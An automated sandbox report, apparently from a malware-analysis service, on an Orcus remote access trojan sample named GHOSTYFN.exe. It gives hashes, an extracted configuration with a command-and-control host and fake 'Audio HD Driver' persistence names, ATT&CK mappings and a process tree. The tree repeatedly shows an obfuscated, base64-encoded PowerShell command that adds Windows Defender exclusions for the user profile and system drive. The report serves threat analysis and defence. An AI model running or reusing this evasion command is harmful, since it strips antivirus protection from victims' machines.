orcus | 4a513270a4d7e85bdc8dfe9adea3b190cfc055e562060c2be9389336333864a0

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26-12-2024 04:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

GHOSTYFN.exe
Size

6.1MB
MD5

73c7cc676ab19d426f2745ef261d6349
SHA1

f217a78eb2beddcbf5bb00c229a96f9ffaa98a0d
SHA256

4a513270a4d7e85bdc8dfe9adea3b190cfc055e562060c2be9389336333864a0
SHA512

40f69adef5b8de42283ff0539cf0f0259ed9d23baa4e87c63e594fe12ca7f35e73dc3a0d6a66dd13a584d0e1569940026bc49d41f95a1f23c0c3fd810613ad36
SSDEEP

98304:BwalpQAdxjrQaMQZZV4g0rvnkVKg9JmcDiCwGDz+Uog9XhhFyoL:JjTrusV4fvuH938Sn9X9t

Score

10^/10

orcus defense_evasion discovery rat spyware stealer

Malware Config

Extracted

Family

orcus

another-contains.gl.at.ply.gg

Mutex

a49af69032c94d6fa7c0d2639d32f038

Attributes

administration_rights_required
false
anti_debugger
false
anti_tcp_analyzer
false
antivm
false
autostart_method
1
change_creation_date
false
force_installer_administrator_privileges
false
hide_file
false
install
false
installation_folder
%appdata%\Microsoft\Speech\AudioDriver.exe
installservice
false
keylogger_enabled
false
newcreationdate
12/24/2024 02:03:43
plugins
AgUFyOzBvwKV1wLetwKoxrcNilV/bBUKRwBhAG0AZQByACAAVgBpAGUAdwAHAzEALgAyAEEgYgA2ADkAZgA0ADUAZQBiADYANgAxADYANAA2ADAAZgA5AGUAMQAwADIAMgBkADcANwA3ADMAMABmADAANwAzAAIAAAACAg==
reconnect_delay
10000
registry_autostart_keyname
Audio HD Driver
registry_hidden_autostart
false
set_admin_flag
false
tasksch_name
Audio HD Driver
tasksch_request_highest_privileges
false
try_other_autostart_onfail
false

aes.plain

Signatures

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus
Orcus family
orcus

Checks computer location settings 2 TTPs 14 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	spoof.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe

Executes dropped EXE 13 IoCs

pid	Process
4708	spoof.exe
3876	spoof.exe
2404	spoof.exe
4720	spoof.exe
4872	AudioDriver.exe
3448	spoof.exe
3784	spoof.exe
2308	spoof.exe
3840	spoof.exe
1236	spoof.exe
4356	spoof.exe
2440	spoof.exe
4756	spoof.exe

Loads dropped DLL 1 IoCs

pid	Process
4872	AudioDriver.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AudioDriver.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
3488	powershell.exe
4032	powershell.exe
844	powershell.exe
3488	powershell.exe
4032	powershell.exe
1212	powershell.exe
844	powershell.exe
4016	powershell.exe
4872	AudioDriver.exe
4872	AudioDriver.exe
4872	AudioDriver.exe
4872	AudioDriver.exe
1212	powershell.exe
1212	powershell.exe
3296	powershell.exe
3296	powershell.exe
440	powershell.exe
440	powershell.exe
4016	powershell.exe
4016	powershell.exe
404	powershell.exe
404	powershell.exe
4028	powershell.exe
4028	powershell.exe
3296	powershell.exe
3296	powershell.exe
3168	powershell.exe
3168	powershell.exe
440	powershell.exe
404	powershell.exe
2512	powershell.exe
2512	powershell.exe
4028	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	3488	powershell.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeDebugPrivilege	844	powershell.exe
Token: SeDebugPrivilege	1212	powershell.exe
Token: SeDebugPrivilege	4016	powershell.exe
Token: SeDebugPrivilege	4872	AudioDriver.exe
Token: SeDebugPrivilege	3296	powershell.exe
Token: SeDebugPrivilege	440	powershell.exe
Token: SeDebugPrivilege	404	powershell.exe
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 976 wrote to memory of 3488	976	GHOSTYFN.exe	83
PID 976 wrote to memory of 3488	976	GHOSTYFN.exe	83
PID 976 wrote to memory of 3488	976	GHOSTYFN.exe	83
PID 976 wrote to memory of 4744	976	GHOSTYFN.exe	85
PID 976 wrote to memory of 4744	976	GHOSTYFN.exe	85
PID 976 wrote to memory of 4744	976	GHOSTYFN.exe	85
PID 976 wrote to memory of 4708	976	GHOSTYFN.exe	86
PID 976 wrote to memory of 4708	976	GHOSTYFN.exe	86
PID 976 wrote to memory of 4708	976	GHOSTYFN.exe	86
PID 4744 wrote to memory of 4032	4744	GHOSTYFN.exe	87
PID 4744 wrote to memory of 4032	4744	GHOSTYFN.exe	87
PID 4744 wrote to memory of 4032	4744	GHOSTYFN.exe	87
PID 4744 wrote to memory of 4268	4744	GHOSTYFN.exe	88
PID 4744 wrote to memory of 4268	4744	GHOSTYFN.exe	88
PID 4744 wrote to memory of 4268	4744	GHOSTYFN.exe	88
PID 4744 wrote to memory of 3876	4744	GHOSTYFN.exe	90
PID 4744 wrote to memory of 3876	4744	GHOSTYFN.exe	90
PID 4744 wrote to memory of 3876	4744	GHOSTYFN.exe	90
PID 4268 wrote to memory of 844	4268	GHOSTYFN.exe	91
PID 4268 wrote to memory of 844	4268	GHOSTYFN.exe	91
PID 4268 wrote to memory of 844	4268	GHOSTYFN.exe	91
PID 4268 wrote to memory of 1248	4268	GHOSTYFN.exe	93
PID 4268 wrote to memory of 1248	4268	GHOSTYFN.exe	93
PID 4268 wrote to memory of 1248	4268	GHOSTYFN.exe	93
PID 4268 wrote to memory of 2404	4268	GHOSTYFN.exe	94
PID 4268 wrote to memory of 2404	4268	GHOSTYFN.exe	94
PID 4268 wrote to memory of 2404	4268	GHOSTYFN.exe	94
PID 1248 wrote to memory of 1212	1248	GHOSTYFN.exe	95
PID 1248 wrote to memory of 1212	1248	GHOSTYFN.exe	95
PID 1248 wrote to memory of 1212	1248	GHOSTYFN.exe	95
PID 1248 wrote to memory of 4148	1248	GHOSTYFN.exe	183
PID 1248 wrote to memory of 4148	1248	GHOSTYFN.exe	183
PID 1248 wrote to memory of 4148	1248	GHOSTYFN.exe	183
PID 1248 wrote to memory of 4720	1248	GHOSTYFN.exe	98
PID 1248 wrote to memory of 4720	1248	GHOSTYFN.exe	98
PID 1248 wrote to memory of 4720	1248	GHOSTYFN.exe	98
PID 3876 wrote to memory of 4872	3876	spoof.exe	99
PID 3876 wrote to memory of 4872	3876	spoof.exe	99
PID 3876 wrote to memory of 4872	3876	spoof.exe	99
PID 4148 wrote to memory of 4016	4148	GHOSTYFN.exe	247
PID 4148 wrote to memory of 4016	4148	GHOSTYFN.exe	247
PID 4148 wrote to memory of 4016	4148	GHOSTYFN.exe	247
PID 4148 wrote to memory of 4440	4148	GHOSTYFN.exe	102
PID 4148 wrote to memory of 4440	4148	GHOSTYFN.exe	102
PID 4148 wrote to memory of 4440	4148	GHOSTYFN.exe	102
PID 4148 wrote to memory of 3448	4148	GHOSTYFN.exe	103
PID 4148 wrote to memory of 3448	4148	GHOSTYFN.exe	103
PID 4148 wrote to memory of 3448	4148	GHOSTYFN.exe	103
PID 4440 wrote to memory of 3296	4440	GHOSTYFN.exe	104
PID 4440 wrote to memory of 3296	4440	GHOSTYFN.exe	104
PID 4440 wrote to memory of 3296	4440	GHOSTYFN.exe	104
PID 4440 wrote to memory of 4104	4440	GHOSTYFN.exe	105
PID 4440 wrote to memory of 4104	4440	GHOSTYFN.exe	105
PID 4440 wrote to memory of 4104	4440	GHOSTYFN.exe	105
PID 4440 wrote to memory of 3784	4440	GHOSTYFN.exe	106
PID 4440 wrote to memory of 3784	4440	GHOSTYFN.exe	106
PID 4440 wrote to memory of 3784	4440	GHOSTYFN.exe	106
PID 4104 wrote to memory of 440	4104	GHOSTYFN.exe	108
PID 4104 wrote to memory of 440	4104	GHOSTYFN.exe	108
PID 4104 wrote to memory of 440	4104	GHOSTYFN.exe	108
PID 4104 wrote to memory of 4876	4104	GHOSTYFN.exe	109
PID 4104 wrote to memory of 4876	4104	GHOSTYFN.exe	109
PID 4104 wrote to memory of 4876	4104	GHOSTYFN.exe	109
PID 4104 wrote to memory of 2308	4104	GHOSTYFN.exe	150

C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
"C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:976
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3488
- C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
  "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4744
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4032
- - C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
    "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4268
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:844
  - - C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
      "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1248
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1212
    - - C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4148
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4016
      - C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4440
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3296
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        7⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4104
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:440
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        8⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4876
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        9⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:404
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        9⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4276
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        10⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4028
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        10⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:3348
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        11⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3168
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        11⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4904
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        12⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2512
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        12⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:1608
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        13⤵
        System Location Discovery: System Language Discovery
        
        PID:4888
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        13⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:928
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        14⤵
        
        PID:1980
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        14⤵
        
        PID:3964
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        15⤵
        
        PID:3476
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        15⤵
        
        PID:1744
        
